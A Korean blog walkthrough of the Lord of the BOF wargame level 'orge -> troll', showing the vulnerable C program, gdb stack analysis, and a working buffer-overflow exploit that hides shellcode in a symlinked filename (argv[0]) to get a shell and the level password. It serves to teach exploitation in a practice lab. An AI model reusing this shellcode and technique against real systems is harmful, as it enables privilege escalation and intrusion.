/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter 
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

 

이번 문제는 argc의 개수가 무조건 2개여야만 하고, argv[1]의 길이는 48bytes여야 한다.

또 buffer에는 SFP와 RET를 제외한 값들은 0으로 초기화 되고, argv[1]의 값은 모두 0으로 초기화 된다.

 

argv[2]를 이용할 수 없고 argv[1]에 shellcode를 넣어도 0으로 초기화 되는 상황이다. 우리가 overwrite 할 수 있는 것은 RET와 argv[0]에서 파일이름 말고는 없다. 

 

argv[0]을 이용하여 shell을 실행할 수 있는 방법이 있다. argv[0]의 값은 스택에 저장되기 때문에 파일이름은 nop와 shellcode로 바꾸어 RET에 argv[0]의 주소로 overwrite 하면 shell이 실행될 것이다.

 

orge 바이너리를 copy하고 이를 gdb로 분석해보자.

[orge@localhost orge]$ mkdir tmp
[orge@localhost orge]$ cp troll ./tmp/troll_copy
[orge@localhost orge]$ cd tmp
[orge@localhost tmp]$ ls
troll_copy
[orge@localhost tmp]$ gdb -q troll_copy
(gdb)

argv[1]의 주소는 main+232이다. main+233에 breakpoint를 걸어 스택값을 확인해보자.

argv[1]의 주소는 0xbffffdd0이고 argv[0]의 주소를 찾기 위해 x/50wx 0xbffffdd0-\x10 명령어를 입력해보자.

(gdb) disas main
Dump of assembler code for function main:
...
0x80485e8 <main+232>:   push   %edx
0x80485e9 <main+233>:   lea    0xffffffd8(%ebp),%eax
0x80485ec <main+236>:   push   %eax
0x80485ed <main+237>:   call   0x8048440 <strcpy>
0x80485f2 <main+242>:   add    $0x8,%esp
0x80485f5 <main+245>:   lea    0xffffffd8(%ebp),%eax
0x80485f8 <main+248>:   push   %eax
...
(gdb) b *main+233
Breakpoint 1 at 0x80485e9
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /home/orge/tmp/troll_copy `python -c 'print "A"*47+"\xbf"'`

Breakpoint 1, 0x80485e9 in main ()
(gdb) x/wx $esp
0xbffffc48:     0xbffffdd0
(gdb) x/wx 0xbffffdd0
0xbffffdd0:     0x41414141
(gdb) x/50wx 0xbffffdd0-0x20
0xbffffdb0:     0x38366900      0x682f0036      0x2f656d6f      0x6567726f
0xbffffdc0:     0x706d742f      0x6f72742f      0x635f6c6c      0x0079706f
0xbffffdd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdf0:     0x41414141      0x41414141      0x41414141      0xbf414141
0xbffffe00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe60:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe70:     0x00000000      0x00000000
(gdb)    

 

0xbffffdc0부터 0xbffffdd0까지 hex 값을 string으로 나타내면 절대경로의 값이 리틀엔디안으로 들어간 것을 볼 수 있다.

0x2f656d6f 값을 디코딩해보면 ome/ 이라고 나온다. 아마 /home 이라는 값일 것이다. 즉 argv[0]의 시작 주소는 0xbffffdc0라고 이쯤에 잡아 보겠다.

(gdb) x/50wx 0xbffffdd0-0x20
0xbffffdb0:     0x38366900      0x682f0036      0x2f656d6f      0x6567726f
0xbffffdc0:     0x706d742f      0x6f72742f      0x635f6c6c      0x0079706f

>>> '2f656d6f'.decode('hex')                            
'/emo'

 

argv[0]의 주소를 찾았으므로 파일이름에 nop와 shellcode를 삽입해보겠다.

저번 문제 풀이에서 썼던 방법대로 ln 명령어를 이용해 링크 파일을 생성한다.

여기서 주의 할 점은 shellcode에 \x2f 라는 문자가 들어가 있으면 안된다. string 값으로 / 이므로 폴더를 나눈 것으로 인식해 \x2f 가 없는 shellcode를 사용한다.

\x2f가 없는 shellcode (48bytes)

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
[orge@localhost tmp]$ ln -s ./troll_copy `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost tmp]$ ls
troll_copy
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????^1ɱ2?l???u2Qi00tii0cjo?T??
[orge@localhost tmp]$ 

 

공격을 시도해 보겠다. 역시 에러가 나서 core파일을 gdb로 분석해본다.

[orge@localhost tmp]$  ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\xc0\xfd\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[orge@localhost tmp]$ gdd -c core -q

 

스택값을 보니 \x90 문자가 채워져 있고 밑에 shellcode와 0으로 초기화된 값들이 보인다. 필자는 적당히 0xbffffb30 주소를 argv[0]으로 하고 RET에 다시 overwirte 해서 공격을 시도해 보았다.

(gdb) x/200wx $esp
...
0xbffffad0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffae0:     0x36383669      0x902f2e00      0x90909090      0x90909090
0xbffffaf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb30:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb50:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb60:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffba0:     0x90909090      0x90909090      0x90909090      0xeb909090
0xbffffbb0:     0xc9315e11      0x6c8032b1      0x8001ff0e      0xf67501e9
0xbffffbc0:     0xeae805eb      0x32ffffff      0x306951c1      0x69697430
0xbffffbd0:     0x6f6a6330      0x5451e48a      0xb19ae28a      0x0081ce0c
0xbffffbe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc10:     0x00000000      0x00000000      0x00000000      0x00000000
...
(gdb) 

 

실행된 링크 파일은 orge 권한으로 copy된 파일에 링크를 걸었기 때문에 orge권한으로 shell 이 실행된 것을 볼 수 있다.

[orge@localhost tmp]$ ln -s ../troll ./`python -c 'print "\x90"*201+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost tmp]$ ./`python -c 'print "\x90"*201+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x30\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0
bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin
bash$ 

 

문제를 클리어 하기 위해 원본 파일에 링크를 걸어 똑같은 payload를 입력하여 shell을 획득한 것을 볼 수 있다.

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - darkknight -> bugbear 풀이  (0) 2019.10.06
[LOB] - troll -> vampire 풀이  (0) 2019.10.05
[LOB] - orge -> troll 풀이  (0) 2019.10.05
[LOB] - darkelf -> orge 풀이  (0) 2019.10.05
[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04